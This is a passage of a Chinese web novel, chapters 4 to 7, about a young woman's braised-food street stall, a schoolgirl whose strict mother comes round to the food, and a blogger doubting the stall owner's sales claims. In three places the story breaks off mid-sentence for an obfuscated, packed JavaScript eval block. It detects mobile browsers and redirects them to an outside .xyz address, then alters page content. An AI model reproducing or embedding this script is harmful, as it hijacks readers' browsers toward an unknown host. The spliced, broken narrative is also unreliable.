虽然整体还是方便面的味道，但经过卤汤的激发，普通的方便面也变成了华丽的卤香菜品，虽然跟经过特殊处理的菜品比起来还有差距，但已经是平常之中的美味了。 三两口之下，方便面也被解决，林峰含恨摸着肚子，已经有了八九分饱。 只是这一口口卤菜咽下肚，倒还真像猪八戒吃人参果似的，好像瞬时间便在肠胃中温润地化开，久经外卖折磨的胃也有了一丝舒缓感。 他思索着要不要再买点素菜，心里的减肥省钱小人和食欲小人做着斗争，却被另一个声音叫醒。 “您好，刚刚的二十三块钱麻烦付一下呢？” 宋晚秋不好意思地出声提醒，这男人动作也太快了，刚刚几乎是以迅雷不及掩耳盗铃之势从她手中将菜品夺过。 林峰霎那间红了脸。 “不好意思啊...你家的卤味太好吃了我一时搞忘了！我马上付马上付！我真不是故意的啊！” 林峰迅速扫了二十三块过去，摊位上也响起了机械女声的播报，“支付宝到账 二十三元。” 林峰头也不回往家赶，社死竟是我自己。 宋晚秋无奈地摇头笑了笑，她当然能看出林峰并不是想故意逃单，只是没想到他付完钱居然跑得那么快。 不过，看他吃的速度，想来这第一次出摊，味道应该没翻车。 宋晚秋笑着抬起头来，却被眼前的画面惊讶倒，抬眼望去。 小摊前不知道何时，竟然聚起了一帮食客。 4. 第 4 章 “你们这是？” 宋晚秋刚刚迎来开门红，卖出自己的第一单，立刻被这黑压压一片的围观群众吓了大跳。 跑过来最快的是一个扎着双辫子的小姑娘，背着沉甸甸的大书包打头阵，看校服颜色便知道是旁边二中的学生。 “姐姐！我也要一份卤菜，麻烦给我个碗装一下！” “我也要！老板，给我来个大点的！” 人群里另一个大汉冒出声来，一时之间一个个都抢着要点菜。 穿着蓝黑相间校服的高中生王若丹没好气地瞪了眼身侧挤过来的大汉，抱怨道：“挤什么挤，懂不懂什么叫先来后到啊！” 一旁被点名的陈非不好意思地挠了挠头打哈哈。 “不好意思啊，刚刚有点激动了。” 宋晚秋扫了一眼人数，开口道：“麻烦大家往左边稍微排下队，咱们一个一个来，别把正街给堵住了。” 顾客们倒是也听劝，一个个自觉地朝着左边排起大队，只是移动的同时还不忘加快步伐，争取往前多排几个位子。 一行人全都抱着这想法，嗖的一下全都提溜着沿着街边排成一长串。 这条出摊的美食档口正位于小区后门入口的主干道，中间留着双向车道的马路以供过路。 毕竟是出摊晚的新摊主，大部分摊位都有固定位置，宋记卤味的摊子也便只能排在最后的街口。 考虑到通行问题，这条街上的夜宵摊也都基本顺着马路两边摆放，不敢越过太过。也是因为道路通行原因，这会必须得让这群客人去左面排队。 宋晚秋麻利地挑出五个纸筒，递给队伍最前面的五个人。 她看了看后面的顾客，提高声量解释道：“咱们一次按五个来，锅比较小一次给多了也不好等，大家稍等一下。” 排在第六位的年轻女生听到这话，看着前面男生的背影沉默不语。 第五位的男生不知道是不是自己今天穿少了，总感觉自己背后有些灼热得发烫，像是被许多盏聚光灯同时打光。 王若丹着急忙慌往自己的纸筒里塞着菜品，她刚刚离得近，林峰尝菜的时候她刚好在旁边买菜煎饼。 卤味锅盖一打开，她就成了最直接的受害人。 浓郁醇厚的卤水香气像是一张密密麻麻的细丝大网把她打捞起来。饭点时刻，本就因为学习一天有些饥肠辘辘的胃更是开始大闹天宫。 入芝兰之室，久而不闻其香。 刚刚林峰是拿到自己那份卤味大快朵颐时，那股子香味对他的杀伤力已经大幅下降。 但他的那股子吃样倒是把旁边的食客们馋得不轻，直接受害人王若丹更是被这股愈发强烈的卤香味吸引得抛下自己鏊炉上的菜煎饼，直达宋记卤味——倒也不必担心菜煎饼摊主不悦，菜煎饼摊主同样也过来排上了队，只可惜他因为关火耽搁时候，这会只能排在第三轮。 刚刚着急忙慌不小心挤到王若丹的陈非倒是没急着装菜，而是眼尖向小摊深处望去，对着宋晚秋道。 “老板，我瞅着你那后面还有个更大的纸筒，把我这个换成最大号的！” 宋晚秋点了点头，找出最大号的纸筒递过去，“好嘞，第一次吃咱们可以少来点试试味。” 围着摊位挑菜的前几位幸运儿也不反驳，只是手上的动作未曾放慢。这香味便是能骗人，难道刚刚那个男顾客狼吞虎咽的样子也是演的？ 有那本事不早进娱乐圈当老戏骨了！ 王若丹率先把菜挑好递给宋晚秋。 “老板，我这份不用热，中辣不要葱，其他都正常！” 宋晚秋嘴上应了声好，拿过纸筒来数签算钱。 “二十四、二十六...一共二十七，扫码就行。您这份留着竹签直接穿着吃还是取下来拌？” 王若丹犹豫片刻，内心纠结着。 “还是取下来吧！” 她今天本来只是想买个菜煎饼垫巴下肚子，谁料突然被这家新开的卤味摊给勾住了魂。 家里再三嘱咐过王若丹，不准在外面的小摊贩买零食，她也是饿了才想先买个小号菜煎饼，不至于吃饭的时候吃不下被家里人发现。 这么香喷喷的热卤串串，要说串着直接吃那肯定是更方便，回去路上就能把这份卤菜给飞速解决了，还能顺手在楼下的垃圾桶毁尸灭迹。 可刚刚挑菜时，实在是食欲战胜理性，王若丹一不小心拿的还不少，全吃完肯定要被家里人给逮住马脚，劈头盖脸大骂一顿。 倒不如...反其道而行！ 直接把这份买多了的卤菜当成今天晚饭的加菜。 王若丹就不信。凭这道卤味，还能打动不了她妈铁石一般的心！ 宋晚秋拿着剪刀，听着手机自动播报的微信收款声音，随着钱包入账，手上速度也被鼓舞地越发快起来。 调味盆里，金针海带苗混着其它的菜品随着其他料汁的介入不断翻滚。 本就诱人的色泽在精心熬制的红油辣椒的加持下更加透亮份量上毫不吝啬的白芝麻更是锦上添花。 左手微微一抖，多余的红油从豆皮表面溅出，保留了卤味整体的清爽。 宋晚秋快速扣上封口盖，往里放入一次性筷子后打上结。一只手提着带，一只手端着，把打包盒递到王若丹手上。 “谢谢惠顾，如果味道有什么需要调整的之后可以告诉我哦。” 王若丹接过手去，上扬的嘴角已经止不住，望向眼前这个清瘦白皙的漂亮摊主，忍不住冒出星星眼。 “谢谢姐姐，冲着你家这香味，味道肯定差不了！” 王若丹眼看着身后人越来越多，不再多耽搁，提着袋子溜出人群。摊位上依然络绎不绝，传来更多食客的声音。 “老板，我这份烫一下再加份方便面，其它配料都正常，最后装盒多浇点汤！” “好的，一共五十六，怎么买这么多？” 宋晚秋疑惑地抬头，看向排在第二位的陈非，同时接过下一位客人的纸筒算价。 她这一元卤味的热卤生意本意是想主打单价便宜，薄利多销，怎么一个个的客单价还都不少？ 陈非满心期待地看着那口煮着自己菜品的卤水汤锅，五十多块的菜品直接用了两个大号汤漏勺，并着方便面鼓鼓囊囊地挤满了这口小锅。 他可不是没见识的。 虽说香味不代表一切，可他吃过的卤味也不少，无论是连锁大品牌还是私人小作坊，也没见谁家能有这味道。 陈非乐呵呵笑道：“这要吃就得吃个爽，我还怕买少吃不够呢！” 以往从小吃街街尾走回楼下，也不过两三分钟的路程。 可这会王若丹倒是觉得这条路格外的漫长，对自己手上已经被完整密封好的卤味也是格外牵肠挂肚。 王若丹继续往前走去，手上的塑料袋系绳不自觉地紧了紧。 要不...就先尝个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像是边疆的独特气候所产出的哈密瓜格外香甜一样，高山土豆由于淀粉含量分泌更多，回味时的自然甜调也更加明显。 宋晚秋处理食材时特意操纵凝聚出的提纯粒子对土豆内部分子进行再加工，手动提纯模拟极端环境下的自然周期变化，同时对土豆的外部进行补充加厚。 也正是如此，才造就了宋记卤味这格外突出的土豆菜品，使其外脆内糯，回味无穷。 王若丹终于能理解上一位顾客吃到菜后表情为什么那么复杂。 她既想快速尝尝其他菜的味道。 却又舍不得这么快就把停留在嘴里的土豆咽下。 可随着牙齿的无情咀嚼，这声再见还是得说出。 王若丹盯着手中写着宋记卤味四个大字的打包盒。 再吃几口。 买了这么多呢，吃一点不会怎么样的。 心中的小恶魔不断地蛊惑着王若丹，小女生也没成功抵抗住诱惑。 第二筷子夹起海带苗，吞下一大口。 好吃！ 爽脆的海带苗将卤汤和调味料更好地送入嘴中，王若丹大快朵颐，只恨没有一碗米饭下肚。 “丹丹！” 女人挎着斜挎包，大声喊人。 原本吃着卤菜的王若丹听到熟悉的声音，顿时僵住了。 5. 第 5 章 女人微卷的头发半盘在头顶，嘴上的口红色号并不艳丽，却浓烈地要将王若丹给狠狠吞噬。 “我都说了多少次，全都不进耳朵是吧！” 王妈妈今天提前下班回来，正给自己老公打电话安排闺女的补习班，就正眼看到自家女儿放学了居然又买了外面的小吃。 “外面的东西能有多干净？全都是加了色素添加剂，吃了都要拉肚子，你怎么就是听不进去话呢，什么脏的也往嘴里塞！” 王妈妈眉头竖起，挂掉手里的电话，“行了，不跟你说了，你闺女买垃圾零食又被我逮到了。” 王若丹眼睁睁看着亲妈越走越近，身体也不自觉地往后缩。 步伐越发靠近，王妈妈盯着自家女儿手里的打包盒。 宋记卤味？ 没听说过的牌子。 八成又是这讨债鬼跑哪个脏兮兮的小摊上买的。 王妈妈眉头越发紧蹙，这几年卤味天天上新闻，不是大肠杆菌超标就是亚硝酸盐暴雷。 这还是那些开了全国连锁店的卤味大牌，这些地摊上黑心摊贩做的东西更别提能脏到哪去了。 她伸手抓住女儿手中的盒子，握住后打算就地解决，直接扔到左边的垃圾桶里。 使了使力，却发现那份卤味盒子被王若丹死死地握住，竟然没能成功抽离出来。 王妈妈本就还没有平息的怒火在王若丹的反抗下更加高涨，如同休眠已久的活火山再次大展威力。 "松手，还要我说几遍？" 王妈妈看着王若丹，这丫头想吃卤味跟家里说一声不就得了，家里人自己从大超市里买些上好的肉跟卤料，那不比在外面吃放心。 “不要，这是我自己用零花钱买的，我就要吃。”王若丹手上的力气丝毫不见放松，话语间隐约还带了一点哭腔。 “外面的摊子哪有你说的那么糟糕，我买东西都会看的呀，这家卤味的的菜看着都很干净的，桌子也都是亮亮的...” “就你这眼睛能看出什么来！”王妈妈打断了王若丹的辩解，双唇微动，说出的不像是话语，倒像是刺骨的利剑向自己女儿射去。 “外面的都是不知道哪里买的烂菜烂肉，吃了不伤身体才怪！”王妈妈越说越生气。 “你可别忘了你外婆去年是怎么进的医院，还不是你大舅一天天的偷懒，不给她做饭，净知道点外卖图省事。结果好好的人直接上ICU里住着了。” 其实以往家里对王若丹虽然也是耳提面令不准买小摊小贩的零食，但在外婆进医院住院前也没有到现在这种风声鹤唳的地步。 可家里原本身体健康的老人家直接进了医院连着三天没睁眼，一下子又给全家人敲响了警钟。 打那之后，王若丹再也没有偷吃的权利。街边小摊，外卖，甚至是稍微装修差一点的小餐馆也，通通不准进去。 王若丹委屈地看着妈妈，拎着盒子的手依然不愿意松开。 “妈，我知道你是为我好，可我已经长大了知道分寸，能吃出好坏。” 她从盒子里夹出一块土豆片，轻轻抬起胳膊，伸到自家母亲面前。 “不信您尝一口，真没有您想象的那么糟糕。” 王妈妈看着女儿恳切地神情，心中却想着这孩子怎么现如今这么犟嘴。 她眼光瞥了瞥左边，一竖排的垃圾桶还在那边闭着盖，虽说没什么味吧，但总归看着闹挺。 也不知道闺女这缺心眼是随了谁，谁家好闺女在垃圾桶门口给亲妈喂菜。 王妈妈本想直接拒绝，但王若丹这会却固执地像头小犟驴，夹着筷子的右胳膊丝毫没有放下反而越伸越高。 没等话说出口，那块被王若丹送上门的土豆片已经近在咫尺，诱人的香味止不住地往鼻子里钻。 “我不吃。” 王妈妈正开口说话，却被王若丹眼疾手快地喂了一口土豆片，甚至还没反应过来，就已经先被这土豆的攻势侵略城池。 “都说了多少遍了，就这些地摊上卖东西的能给你拿什么好东西做菜啊，这些土豆白菜说不定都放烂了才拿出来往里加添加剂增香剂让你闻不到。” 王妈妈边说边拍着女儿的胳膊，只是口中的咀嚼却来不及停止，嘴上抱怨的话也按下了中止键。 她可不是跟王若丹一样不懂事的小年轻，纵横菜场多年的她自然能尝出这卤味中的不同。 软糯香甜的土豆越发咀嚼，她心中的思绪也就更为复杂。 这家好像还真有点不一样。 起码就这土豆的品质就不像是普通品种。 前两周他们一家逛商超采购，王爸爸特地拿了一盒精品进口邮寄土豆，标价89元12个，说是要开开眼尝尝这金土豆是个什么味。 结账时，王若丹笑自己老父亲上大当，智商税交得足足的。 王妈妈虽然没有跟着附和，但也只是给自己老公一个面子，想着尝尝鲜也行。 那盒被精心打包就差没给每个土豆打个蝴蝶结的金豆豆上了家用烤盘烧烤桌，要说味道的确是比普通菜场好了不少，却也远远没有达到售价的地步。 只不过，王妈妈心想，如果当时买下的是这种味道的土豆，那八十九的价格也不算贵了。 王妈妈咽下嘴里的卤味，不知道是下班本身另人心情愉悦，还是吃到不错的美食。 明明咽下的是颇为重口的卤菜，她却突然觉得胃部得到了些许舒缓。 就连自己原本在办公室电脑前敲敲打打，僵硬了一天的肩颈也有些放松感。 “行吧，这个吃着倒是也行。” 即便以王妈妈挑剔的眼光来看，也不能对手上的菜品说出过多苛责的话语。只是嘴硬的她却不能轻易地对女儿服软。 她搂过王若丹的肩膀，原本气势上还对峙着的母女二人又被拉近了距离，王妈妈接过王若丹背上沉重的大书包，按下电梯按键。 “这家店的卤味应该不便宜吧，你是不是动了你过年压岁钱的小金库？” 王妈妈狐疑地看着自己的女儿。 这附近难道是哪里开了家精品卤味店？现在餐饮业做创新的还真是层出不穷，这种食材居然直接就拿来卖卤味了。 “哪有，就是在咱们后门外面那条小吃街买的，素菜一块钱一串，这一共也没多少钱。” 王若丹辩解道，只是话语中还带有一丝心虚。 过年发的压岁钱半年前就已经给花光了，还没在兜里多捂热乎些就被她拿去买了谷子，哪里还有能撑到现在重见天日的份。 电梯门缓缓关闭，王妈妈手上的书包也被轻放在电梯内的扶手处缓解重量。 “那行，就今天这一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839533|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，我明天下班先去后门看看这家店情况，其他的那些东西你可不准再买啊。”王妈妈不停叮嘱道。 “你要是放学饿了中午就吃点自己带的饼干，别老买外面的烧烤炸串，那些吃多了可都致癌！” “知道了。” 王若丹敷衍回应着，自从去年全家去医院看望外婆，王家的食品安全问题已经上升到了战略地位。 想在外面偷吃一趟就跟做贼一般。 回到家里，原本还想对卤菜下手的王若丹被自家母亲隔离出厨房门外，只好悻悻地回到卧室书桌旁做起了作业。 王妈妈也没停下动作，先把电饭煲里的大米蒸上，又从冰箱里拿出一块花纹相间的上好五花切片。 搭配上自家做的豆豉和新鲜蒜苗，一盘下饭开胃的回锅肉伴着锅气出炉。 油烟机的声音随着王妈妈按下的关机键慢慢消失，她提高音量向外问道。 “丹丹，拿手机给你爸爸打个电话，问问人这会到哪了？” 王若丹正好写完一份英语卷，张口应好。 微信电话过了一阵子才接通，还没等王若丹开口，电话那头就传来了声音。 “别催了，在路上了。刚刚堵了会车，我这会刚在车库停完车呢 ，这会就下去进电梯。” 电话匆匆挂断。 厨房内，王妈妈把回锅肉盛出装盘。行水流水间，蒸锅里的嫩滑的鸡蛋羹也被端出来。 她系着围裙，瞅了瞅王若丹买回来的那份宋记卤味，还是把她倒在盘子里，打算借着蒸笼的余温再热两分钟。 “丹丹，快过来盛饭了。” “好嘞。” 王若丹把卷子合拢，丢到一边。 被王妈妈叫吃饭时还不认真，那就是等着挨揍的节奏了。 蒸笼的热气微微上冒，明明是王妈妈亲手把装好卤菜的瓷碟放进蒸锅盖上锅盖，但着上泛的热气却好像是她自己打开了潘多拉魔盒。 原本通过打包袋被隔绝的卤香味终于重出江湖，借助着热菜的这股劲儿更加放肆。 王妈妈忍不住扭过头冲女儿问道：“电话打了吗，你爸还有多久到？” 王若丹吸了吸鼻子，贪婪地想把更多的香味拥入怀中。 “打了，他这会应该进电梯了。” 王若丹心想，还好这会她爸已经要要上来，但凡超过五分钟，她都不能保证她爸还能看到盘子里的一块豆干。 王家的楼层不算太低，随着一个个同楼邻居走出电梯，王爸爸也终于抵达楼层。 脚步刚刚迈出，他抬起头仔细嗅了嗅。 谁家又做大菜了，怎么闻着这么香？ 黑色皮鞋并未因此停下脚步，只是不知为什么，这香味随着家门口的距离缩短越来越浓。 男人伸出手，对着大门的指纹锁进行解锁。 绿灯闪烁，门把手下压。 “我回来了，今天兴科路真是堵得不行，那个十字路口等了三个红灯才过去...” 王爸爸还没说完的话被扑面而来的卤香味给淹没。 厨房里，王妈妈和王若丹也没来得及回应。 随着瓷碟里的卤香味不断加重，复热后的宋记卤味才终于大展身手。 王爸爸呆呆地看着厨房。 合着这股香味原来是自家传来的？！ 6. 第 6 章 “老婆，你这是煮了什么东西？怎么这么香？” 王爸爸还没来得急换鞋就忍不住发问，鼻子不停吸气，探寻着香味的源头。 “这么大的味，我在走廊都闻到了。” 他换上拖鞋，脚步随着香味走到厨房，却看到自家老婆跟女儿迫不及待地打开蒸笼夹菜。 腮帮子鼓鼓的，可手上的动作却不见消停。两双筷子在瓷碟里上下飞舞，甚至有些拔剑相向的对峙。 “都多大人了，怎么还抢菜吃？我都还没回来呢！” 王爸爸眼疾手快拿着隔热垫把剩下的卤味端上餐桌。 男人背后，王若丹跟王妈妈面面相觑，母女俩的眼神不断交流。 王若丹：妈，你抢得也太快了吧！怎么不给我爸留点？ 王妈妈斜了一眼王若丹，暗道：还不是你不讲武德，一闻到锅里香味就伸筷子，不然我至于跟你一块抢吗！ 另一边王爸爸可没注意到母女俩的眼神官司，端完菜转身拿筷子，低头一看却见这两人还在这蒸笼前站着不动。 “你俩搁这当门神呢？” 二人这才重新回到餐桌。 圆形的大理石桌面上放置了同色系的转盘，三碗米饭被分别放在各个角落。 王爸爸率先坐下，抬手拿起筷子就先往中心的回锅肉先夹一大块。 猛火爆炒后的蒜苗丧失了原本的脆嫩，但经过热油激发后的豆豉和五花肉片让它多了更多的滋味。 王爸爸一口焦黄的五花肉搭配着白米饭下肚，吃得心满意足。 “老婆，你这回锅肉的手艺真是越来越好了，今天味道格外棒！不过怎么感觉跟刚刚闻到的味儿不一样啊？” 餐桌上另外两人却没搭茬，也没对另一道嫩滑的芙蓉蛋下手，依然冲着那碟被放在边角的半盘卤菜动筷子。 十分有九分的不对劲！ 王爸爸神色一正，敏锐发现了问题关键，也立刻向最边上的半碟卤菜开攻，夹起一块豆皮到碗中。 手中的豆皮被切成了窄长形状，上面的褶皱密密麻麻，从褶皱和厚度来看，像是乡镇赶集时能买到的农家手工豆皮的样子。 因被卤制过，豆皮整体颜色微微发黄，搭配芝麻含量满满的红油辣椒，显得更为诱人。 抬手送入嘴中，王爸爸忍不住瞪大眼。 这卤味怎么这么香？！ 辣卤的鲜香麻辣的确是这份卤菜的味道，可这豆皮刚入嘴，带给他最大冲击力的也只有那股卤香味。 就跟他打开家门时涌上来的香气一样。 细细咀嚼，农家豆皮特有的厚实感让卤味的味道变得更为醇厚。 多重调味料搭配下，本就难以找寻的豆腥味更是消失殆尽，只留下豆制品本身的香气。 王爸爸咽下豆皮。 难怪素斋都爱做豆腐菜，要是所有人都尝到这种口感的豆皮，恐怕也要遁入空门了。 他再次动筷，却冷不丁傻眼，碟子里的卤菜怎么没得这么快？ 座位两边，王若丹跟王妈妈动作丝毫不停顿，举手投足之间颇有些战斗气息。 王爸爸也再不敢耽搁，凭着身高臂展，从盘子里夹走最后一个鸭心。 小个头的鸭心被直接抛入嘴中，王爸爸轻轻咬下，却又被狠狠惊讶。 暗藏玄机！ 厚实劲道的鸭心在嘴里爆开，一小团带着肉香的卤汁浸润了整个口腔。 王爸爸之前对鸭心一向态度平淡，相较于这种下水，他更喜欢简单的卤鸡腿，没有更多腥臊的同时还更鲜嫩管饱。 可是刚刚吃到的嘴里的却不同于以往尝到的味道，肉质紧实有嚼劲，弹牙的口感搭配着辣卤香味，让上了一天班的他突然多了很多幸福感。 领导同事似乎也不用上天堂了，女儿的成绩也不需要再焦虑，上一次有这样好心情的日子几乎都回想不起来了。 刚刚还想为了一块豆皮遁入空门的王爸爸这会觉得，还是能吃肉的人间更美好。 只是... 他扫眼看了看两边，满是郁闷。 “你俩这筷子是不是也动得太快了？我可就吃了两筷子。” 王若丹缩起身子想降低存在感，一旁的王妈妈也忍不住红了脸。 的确有些不好意思。 王妈妈暗自想，早知道就跟丹丹动作再快点。 在老公回家前先把菜给解决了，也不至于现在这样。 “唉。” 王爸爸叹了口气，站起身后拿勺子往米饭碗里舀了两勺芙蓉蛋。 翠绿的葱花搭配着酱油漂浮在蛋羹表面，些许油光的飘荡提升了整体色泽。 他又不是没尝到嘴，这么好的味道也难怪妻女都忍不住频频下筷，甚至没给他多留点。 只是，他却有些好奇。 “老婆，你是上哪买的卤料啊？卤出来这么香，比上次买的那个可好多了。”王爸爸转头说道。 “还有那个鸭心的味也好，你今天下午是不是请假了？去哪买的菜做卤味啊？我瞅着你这做的味道比那外面卖的可强多了！” 王妈妈更加抬不起头，只是另一边王若丹的眼神却还盯着她，她只得开口解释道。 “没，卤菜是外头买的。” “外头哪买的？等等！”王爸爸被惊得忍不住瞪大双眼，“你说这是外面买的？” 自打去年丈母娘因为吃了外卖，因为食物中毒进了医院，王家的食物禁令就直接被颁布。 被拘束的可不止王若丹，就连王爸爸也几乎不能在外面的餐馆消费，要不是不能自己种地恐怕他们家连大米都得自己种了。 王妈妈斜眼瞥了王若丹，用眼神警告她不要太得意，这会尾巴都要翘到天上去了。 她开口道：“就是你闺女自己在小区门口的一个卤味地摊买的。” “地摊还能做出这味道来？”王爸爸惊讶道。 “这味道是还不错。”王妈妈点了点头，“说是叫宋记卤味，我明天下班也去看看，要是干净的话明天也买点。” “妈妈万岁！”王若丹兴奋欢呼。 “别太得意啊！”王妈妈看了看王若丹，继续说道：“我可没同意你继续去去那些地摊，要是又被我逮到你买那些炸串麻辣烫，你这个月零花钱就别想了。” 王若丹努了努嘴，想反驳但又担心自个儿的小金库，只好默默消声吃饭。 饭后王若丹继续回到书桌前写作业，夫妻俩则出门遛弯消食。 夜晚，主卧里的照明大灯关闭，床头的昏黄光晕的落地灯依然亮着。 王妈妈穿着睡衣，放下手中的手机，定好第二天闹钟，顺手又把床头柜的睡眠面膜拿上。 “啧。” 王爸爸抬起头，不再下划手中的短视频页面，开口问道：“怎么了？” 王妈妈开盖的手一顿，她其实跟王若丹一样，算是能吃辣爱吃辣的人。 只是自家老公因为有肠胃病，家里做菜也不大放辣椒，长期以来她吃辣的水平也下降了不少。 今儿个因为自己跟丹丹多吃了些，老公那三两口的想来也没什么问题，只是有点担心自己可别晚上肚子不舒服吧？ “没什么，晚上那个卤味有点辣，我有点担心会不会胃不舒服。” 王妈妈转头看向老公。 王爸爸开口道：“那先吃个健胃片？我这会去给你拿吧。” 他转身掀开被子，穿上拖鞋就准备出卧室拿药。 “算了，别拿了。” 王妈妈拍了拍一旁柔软的被子，挥手示意他回来。 “应该问题不大，我这会没感觉有什么不舒服的，就是有点担心。” “哼。” 王爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839534|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸扭身回来钻进被窝，嘴里嘟嚷抱怨着：“那你不知道少吃点啊，总共就给我留那么点，吃独食难怪要怕肚子痛。” 王妈妈想抽人但又着实理亏，只得放下手中的面膜罐子，也不好回话。 夜幕降临，可宋晚秋却早已在星星落下前就已经收摊回家。 第一次备货比较保守，宋晚秋总共也就买了两百多块钱的肉和蔬菜。 就这也还是她出于对自己提纯异能的信心才敢这般下手。 简陋的小摊前因为排着这大长串的队伍，顾客们或许也是因为那来自背后的压力太大，一个个点菜付款都半点不拖沓。 排到中间还有路人大姐误入，原本以为是排队领什么福利，走到最后才发现是在摆摊。 秉持着排了这么久来都来了的原则，大姐虽然已经吃过饭了，也忍不住买了十来块的卤串边走边吃。 还没等排到队伍最后，宋晚秋就已经不好意思地向下一位顾客道歉。 “对不起啊，这边的话菜已经都卖完了，您这边要不明天再来吧，实在是都没有了。” 桌面的卤菜串串早就被清空，最后全靠着保温大桶里的存货才维持了许久。 宋晚秋向后面的队伍高声喊道：“后面的可以不用再排啦，卤菜已经全卖完啦！” 唉！ 排在后面的一个个都忍不住叹起了气，却只能无可奈何地散开。 最后一名顾客最后也是不挑，盘子里剩啥拿啥，把菜都包圆了。 可排在他身后的小姑娘却始终舍不得走，只好拿着哀怨的目光直视着他。 陈邱莉不是不知道要没菜了。 排到最后一个五轮时，桌上的卤串就已经寥寥无几。 只是她内心祈祷着，万一能留点让她买上呢？ 宋晚秋打包好最后一份单，也动作麻利地准备收尾。 陈邱莉本想再跟小老板哭哭惨，可看到面前这个比自己还要年轻的宋晚秋，更多的话却也说不出口。 “老板，你明天能不能多做一点，我一定一下班就过来买！” 宋晚秋愣了一下，怎么还有人？ “行，明天肯定再多备一点货。”她不好意思地笑了笑，“今天是我第一次出摊呢，备太多我怕卖不完...” “怎么会！”陈邱莉激动道，“老板你能不能对自己自信点！就你这香味整条街都要被你迷倒了。” “再说了，这才几点！”陈邱莉指了指手机屏幕上的时间，“谁家夜市七点不到就收摊啊！” 小吃街中，一个个小餐车、电三轮这会凭着自己花里胡哨的灯光招牌吸引顾客。 宋晚秋原本也带了个可以照明的大灯，只是刚忙起来时没必要，天色稍暗时又忙得没时间安了。 她只好再三承诺：“放心吧，明天我肯定备足货了来！” 另一边散开的顾客却也不知为何，在被那股卤香牵住神魂后却也丧失了去其他卤味摊上买菜的想法。 “小姑娘！我这还有卤味呢，要不要买点试试！” 小吃街前面些，开着红色三轮车卖传统烧腊的杨滨招揽着客户。 陈邱莉没多回应，她的心已经跟着那个无情的女人一块走了。 她回头看了看前面的杨氏烧腊，三轮车的红色搭配着红色的食品灯，肥硕的猪拱嘴在灯光下不知为何格外腻味。 我想吃的是宋记卤味，又不是卤味！ 另一边宋晚秋拖着推车，把东西先送到家里，把盆盆罐罐都清理过，这才拿出手机看信息。 小地瓜APP里，发了几天的贴子没有再被持续推流，只有几个常互动的粉丝还在不停闲聊着。 行业冥灯【博主，你今天出摊到底备了多少货啊？】 行业冥灯【真可别备太多了！你这第一天要是卖不完拿回家，不得好几天都吃不完！】 7.第 7 章 【行业冥灯】本名杨东旭，这个小地瓜账号是他用来在互联网上驰骋冲浪的小号。 相比较于这个名字，他在短视频平台上ID为【旭日东升】的账号更加出名，目前数量最大的单平台粉丝已经达到一百六十多万人。 然而，杨东旭的这一百多万粉丝里起码九成九都是与他相爱相杀。 作为国内金融专业排名第一的本科精英，还兼搭国外常青藤名校硕士学位的杨东旭自打在职场扎下脚跟，风声水起后就在互联网上分享自己的生活。 一开始只是专注于基础的投行工作日常，随着关注度不断提升，他的拍摄日常也不断深入，经常在日常VLOG里分享自己的投资理财心得。 最开始是长得英俊帅气，穿着高档定制西装的精英男士，到后来却演变为一身老头汗衫短裤在房间里发疯的股市韭菜。 投资市场，深深改变了他。 第一期投资分享，他向粉丝朋友们精心展示了他对新能源行业的信心与无限展望。 不到一周，行业头部企业违规被查，行业内股价整体跌停。 第二期分享杨东旭痛定思痛，表示新能源太不靠谱，还是得关注前沿科技，重仓半导体。 随后该公司业绩暴雷跳水，最后直接退市。 新视频里，原始资产缩水一半的杨东旭杀红了眼，决定把自己在美国读研时期买入的纳斯达克美股全部抛售，将资金套现与国内大A共存亡，锐剑直指医疗。 视频发布第二日，疫苗造假信息曝出，股价全线跌停。 三战成名，【旭日东升】成为了【夕阳西下】，只有股市的心碎声和自媒体上涨的粉丝数见证了一切。 “夕阳反着买，别墅靠大海”也成为了杨东旭视频底下的长期留言。 多次失败的投资经验让杨东旭认识到了错误。 第一，不能跟粉丝分享，否则打草惊蛇，人为制造市场波动。 第二，股市的花花肠子太多，还是得实业兴国，尤其要关注民生。 二者两相结合，成功让S市昂贵的地皮上，诞生了一家声势浩大的高端火锅店，然后在一个月的亏本赚吆喝后，越开越亏的不知名杨姓店主关闭了店面，并且宣布带着旭日火锅就此退出餐饮界。 或许是出于攒人品，小号改名为【行业冥灯】的他经常在互联网上给一些想要创业的小年轻指点迷津。 虽说屡战屡败，但好在经验丰富，涉足行业数目众多，杨东旭的许多指点也相当有益。 只是他跟一个个网友们越聊越有感悟，感慨餐饮之败非战之过，时不利也。 创业的网友千千万，能够成功的寥寥无几，旭日火锅的倒闭那肯定不能算是他的问题！ 只是，这些做生意的能不能诚实点？ 编些假话除了能把自己骗到，还能有什么用？ 杨东旭表情复杂地看了看手机，不断滑动着评论区的对话页面。 秋秋人（地摊卤味版）【今天备货备了两百多块钱，卖得超级快！差不多一个小时不到就卖完收摊啦，明天打算再多弄一点~】 杨东旭点开作者头像，仔细翻动页面盘查，心中的疑惑不断加深。 